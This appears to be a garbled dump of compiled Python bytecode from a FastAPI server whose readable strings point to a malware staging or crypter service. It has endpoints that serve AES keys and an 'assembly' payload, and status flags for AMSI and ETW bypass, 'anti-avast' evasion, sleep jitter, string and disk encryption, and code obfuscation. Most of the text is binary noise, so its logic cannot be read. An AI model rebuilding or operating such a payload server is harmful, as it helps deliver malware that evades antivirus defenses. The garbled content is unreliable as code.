r<  z/statsc                   Ã   sf   t d rtt ¡ t d  ƒnd tt ¡ td td td td td td td td	 td
 dœ	dœS )Nr¤   r   r    r!   r"   r#   r$   r%   r&   r*   )	Úsleep_jitterÚbypassÚstring_encryptÚ
var_renameÚfunc_renameÚtype_obfuscationÚcomment_removalÚnumber_obfuscationÚdisk_encrypt)ÚuptimeÚaes_fastÚpoolr/  )r  r^   r   rU  ró   rV  rJ  r˜  rB   rB   rB   rC   rJ  Þ  s    ÷ürJ  z/healthc                  Ã   s0   t  ¡ } ddddddddt| ƒdd„ | D ƒd	œ
S )
NÚokz8.6-anti-avastÚdeflateTzxor+chunks+reverseÚpAppName_null_hybridc                 S   s   g | ]}|pd ‘qS rD  rB   rD  rB   rB   rC   r&  ÿ  s     zhealth.<locals>.<listcomp>)
r\  rS  ÚcompressionÚstring_obfuscationrh  Úasm_protectionÚamsi_bypassÚ
etw_bypassÚfolders_detectedr?  )rV  rB  ry   )r?  rB   rB   rC   Úhealthò  s    örr  z/k/{key_id})rO  c                 Ã   s&   t ƒ }| |krt||  ƒS tddd�S )Nr8   rX  rY  )r²   rQ  )rO  r³   rB   rB   rC   Úget_aes_key	  s    rs  z	/assemblyc                   Ã   s   t tƒS r9   )rQ  rG  rB   rB   rB   rC   Úget_assembly	  s    rt  z/reloadc               
   Ã   sf   t j ¡  t j ¡  tt j ¡ ƒD ](} t  | ¡� t j|   ¡  W 5 Q R X q"tdƒ t  	¡  dddœS )z4Forca reload do msedge.txt e limpa todo o cache/poolzH[RELOAD] Cache e pools limpos! Proximo request vai usar msedge.txt novo.ri  zCache limpo e pools re-gerados)r\  Úmessage)
rV  r  r  r  rI  r   r³   r  r·   rC  r'  rB   rB   rC   Úforce_reload	  s    

rv  z/foldersc                  Ã   sZ   t  ¡ } t  ¡ }g }| D ]2}|p"d}|d  |d¡}| |||dkdœ¡ q|t| ƒdœS )z/Lista todas as pastas detectadas com msedge.txtr  rF  r   )r  r2  Úready)r?  Útotal)rV  rB  rJ  rÛ  r{   ry   )r?  Ú
pool_statsr  r  rK   r2  rB   rB   rC   Úlist_folders	  s    ý
rz  Ú__main__z:appr   r   Úinfo)r   r   r   Ú	log_level)r7   r8   )rj   r   )N)r8   )r8   )�rN  rª   Úsysr*  r;   rE   rx  rS   ru  rù   r  ÚmultiprocessingÚpathlibr   r   Útypingr   r   r   Úconcurrent.futuresr   rñ  r  Ú
subprocessÚtempfileÚcollectionsr   r  r
   r   r   r  r   ró   ÚImportErrorr  r˜  ÚPROJECT_CONFIGr  rL   rP   rY   ri   r‚   r†   r�   r˜   rœ   r¦   r¯   rD  ÚPathLibr­   rG  rÚ  r²   r¹   rÙ   rë   r^   Útupler  rú   r   r.  rw  r’  r¢  r  r  r  r  r  r%  r(  r*  r+  r2  rA  rM  rN  rb  rh  rs  r{  rò   r‚  rŽ  r{  rO  r­  r´  rµ  r¸  r¿  rÆ  r×  rä  rø  rò  rù  rV  ÚfastapirP  Úfastapi.responsesrQ  Úuvicornr·   ÚexitÚappr  Úon_eventrT  rÛ  r[  r<  rJ  rr  rs  rt  rv  rz  rK  r«   ÚsplitextÚbasenameÚargvÚscriptÚrunrB   rB   rB   rC   Ú<module>   sP  
úâ"ýü
>
	,D "T=_&FC A"+m4ùø@C%j  






  ÿ